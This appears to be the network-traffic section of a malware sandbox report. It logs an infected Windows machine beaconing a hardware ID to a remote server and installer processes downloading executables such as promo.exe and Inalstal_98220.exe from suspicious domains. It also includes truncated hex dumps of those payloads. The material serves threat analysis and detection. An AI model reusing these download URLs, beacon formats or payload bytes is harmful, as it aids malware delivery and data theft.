Dec 6, 2023 14:53:27.049550056 CET	1381	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:27.403666019 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1r3d43cdb71q61soejmf0ea1ih; expires=Sun, 31 Mar 2024 07:40:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YYiXbF7HLEhEshFwb84Ns5cCLulffWH5whPdLs474%2FcvKJLTNspQ3yWtKg3NcIWYLTpTAug4C6x4zZcthtIBZaXhbieO%2FjZX%2FzFtcKEJyn1T%2B70EMU%2FFEqqpF5umNvWwtWgJbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.403690100 CET	119	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 65 30 34 38 33 38 33 38 31 32 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: loudflareCF-RAY: 831503e048383812-IAD10ok 102.165.48.83
Dec 6, 2023 14:53:27.403707027 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	50225	208.100.26.245	8080

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:38.523109913 CET	397	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:53:38 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50227	37.1.198.251	80	5564	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:46.547755003 CET	146	OUT	GET /archives/7 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.5 Host: mysoftwareusa.info
Dec 6, 2023 14:53:46.849112988 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:53:46 GMT Content-Type: application/octet-stream Content-Length: 2590208 Connection: keep-alive Content-Disposition: attachment; filename=promo.exe Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 d8 8f fd b9 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 bc 04 00 00 38 03 00 00 00 00 00 00 c0 51 00 00 20 00 00 00 e0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 51 00 00 04 00 00 35 46 28 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 20 08 00 95 00 00 00 00 e0 04 00 56 35 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 21 08 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 04 00 00 20 00 00 00 d8 01 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 56 35 03 00 00 e0 04 00 00 f4 02 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 20 08 00 00 02 00 00 00 ec 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 26 00 00 40 08 00 00 02 00 00 00 ee 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 77 64 61 69 6f 6e 6e 00 a0 22 00 00 20 2f 00 00 94 22 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 67 70 69 75 76 69 00 20 00 00 00 c0 51 00 00 02 00 00 00 84 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PEL08Q @ Q5F(@m V5! @.rsrcV5@.idata @ &@@nwdaionn" /"@xkgpiuvi Q'@
Dec 6, 2023 14:53:46.849163055 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:46.849201918 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:46.849287033 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:46.849390984 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:46.849432945 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:46.849467039 CET	534	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:46.881660938 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Po<
Dec 6, 2023 14:53:46.881776094 CET	1340	IN	Data Raw: 12 ae f8 70 a8 3e 0c 2e 42 23 82 d2 ec ea dc 8f dd 79 5e 9a 5a be ad ef ff 38 80 2f 0e da 26 b6 ba 0e 53 70 f3 43 33 0e 5e 93 61 c1 09 a7 b2 86 58 e0 f7 bf 28 e3 7e 87 d8 f6 25 88 0e 51 02 ae 87 75 8b 4c c6 a6 8a 91 c7 2b de d9 79 f3 43 c9 95 67 Data Ascii: p>.B#y^Z8/&SpC3^aX(~%QuL+yCg"/%DQ#TH?D(uHfDnyqTc;>"`g_~He'(73%45'DA?\|'JC:wnjb4j\qUV
Dec 6, 2023 14:53:46.881798983 CET	1340	IN	Data Raw: 01 a9 85 bb 43 e5 e6 98 c9 fc 7e 3b 70 ee 25 51 eb ed e7 61 7a 3d d8 ca cb b2 08 c0 33 3c 0f 86 4f ee d4 52 16 9d 76 4d 26 c9 dd fd b3 80 09 0c 98 9e eb 7f 9d 64 70 3c f3 6e 38 a9 5c 4d c6 3a 44 f0 29 4c 41 16 4c 92 18 ee b1 e7 8b 29 b4 a6 94 cf Data Ascii: C~;p%Qaz=3<ORvM&dp<n8\M:D)LAL)F8_WPyuqDvJEXmu~M@*Jh\u)n2pd+b^".;A3W`pT<UQB'LC82zP]vI]k%`A
Dec 6, 2023 14:53:47.029251099 CET	1340	IN	Data Raw: c7 4c 4d 93 ce 6f a4 ee 57 cb bf 6e 00 a7 74 a4 48 00 6f a7 0e 67 41 95 89 2c 40 d5 50 1f 44 bb 4b 7f 78 ef 03 a7 d3 a7 7c 9a 62 4f c1 76 41 7d 9f 27 48 b1 62 bb 0b c7 23 aa d4 3d 19 1f 4e d3 3d e3 ad 98 d0 ae c2 ee 9f 29 15 b3 36 20 3b ee f2 1a Data Ascii: LMoWntHogA,@PDKx\|bOvA}'Hb#=N=)6 ;rI>Fy$X@(13`K1Pp)7A>5,x=\|CQ9sra!*V=8n#JV-MIFK([Dx"5eXtY8pYDBs\r0,=^b

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:51:01 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fLShy8bsHkSVG9b&MD=VkRwrnBh HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-12-06 13:51:01 UTC	560	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 30 31 20 4a 61 6e 20 30 30 30 31 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 58 41 6f 70 61 7a 56 30 30 58 44 57 6e 4a 43 77 6b 6d 45 57 52 76 36 4a 6b 62 6a 52 41 39 51 53 53 5a 32 2b 65 2f 33 4d 7a 45 6b 3d 5f 32 38 38 30 22 0d 0a 4d 53 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 20 61 65 39 65 36 34 38 65 2d 64 64 37 66 2d 34 30 35 33 2d Data Ascii: HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/octet-streamExpires: -1Last-Modified: Mon, 01 Jan 0001 00:00:00 GMTETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880"MS-CorrelationId: ae9e648e-dd7f-4053-
2023-12-06 13:51:01 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2023-12-06 13:51:01 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	104.21.13.66	443	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:51:03 UTC	180	OUT	HEAD /ss.php?a=3890&cc=US&t=1701870636 HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: false.apparelsilver.xyz Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:51:03 UTC	605	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 31 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 35 2e 33 38 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 51 75 43 42 32 71 70 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:51:03 GMTContent-Type: text/plainContent-Length: 2Connection: closeX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QuCB2qp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	104.21.13.66	443	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:51:03 UTC	179	OUT	GET /ss.php?a=3890&cc=US&t=1701870636 HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: false.apparelsilver.xyz Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:51:04 UTC	593	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 31 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 35 2e 33 38 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 76 25 32 42 44 34 56 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:51:04 GMTContent-Type: text/plainContent-Length: 2Connection: closeX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v%2BD4V
2023-12-06 13:51:04 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	185.23.108.224	443	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:51:04 UTC	165	OUT	HEAD /win/Inalstal_98220.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: www.agenment.cloud Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:51:05 UTC	261	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 31 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 30 38 37 38 33 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 30 35 20 44 65 63 20 32 30 32 33 20 31 39 3a 34 31 3a 32 32 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 39 32 66 64 66 2d 36 30 62 63 38 36 62 35 34 62 65 64 34 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Wed, 06 Dec 2023 13:51:04 GMTContent-Type: application/octet-streamContent-Length: 11087839Connection: closeLast-Modified: Tue, 05 Dec 2023 19:41:22 GMTETag: "a92fdf-60bc86b54bed4"Accept-Ranges: byt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	185.23.108.224	443	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:51:05 UTC	164	OUT	GET /win/Inalstal_98220.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: www.agenment.cloud Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:51:05 UTC	261	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 31 3a 30 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 30 38 37 38 33 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 30 35 20 44 65 63 20 32 30 32 33 20 31 39 3a 34 31 3a 32 32 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 39 32 66 64 66 2d 36 30 62 63 38 36 62 35 34 62 65 64 34 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Wed, 06 Dec 2023 13:51:05 GMTContent-Type: application/octet-streamContent-Length: 11087839Connection: closeLast-Modified: Tue, 05 Dec 2023 19:41:22 GMTETag: "a92fdf-60bc86b54bed4"Accept-Ranges: byt
2023-12-06 13:51:05 UTC	16123	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2023-12-06 13:51:06 UTC	16384	IN	Data Raw: 8c db 4b 00 00 0f 95 c0 c3 53 8b d8 e8 84 ff ff ff 84 c0 74 29 a1 8c db 4b 00 81 38 fe 3f 00 00 7d 1c a1 8c db 4b 00 8b 00 8b 15 8c db 4b 00 89 5c 82 04 a1 8c db 4b 00 ff 00 b0 01 eb 02 33 c0 c6 05 90 db 4b 00 00 5b c3 53 56 57 8b f0 bf 8c db 4b 00 33 db 83 3f 00 74 3f e8 36 ff ff ff 84 c0 74 36 8b 07 8b 10 4a 85 d2 7c 26 42 33 c0 8b 0f 3b 74 81 04 75 17 8b 17 8b 12 8b 0f 8b 14 91 8b 0f 89 54 81 04 8b 17 ff 0a b3 01 eb 04 40 4a 75 dd c6 05 90 db 4b 00 00 8b c3 5f 5e 5b c3 8b c0 55 8b ec 83 c4 d8 53 56 57 89 45 fc 8b 45 fc 8b 00 81 e8 80 70 4b 00 c1 e8 05 c1 e0 08 8b 55 08 8d b4 c2 00 48 fe ff 8d 4d dc 8d 55 e0 8b 45 fc e8 c7 fc ff ff e9 6d 01 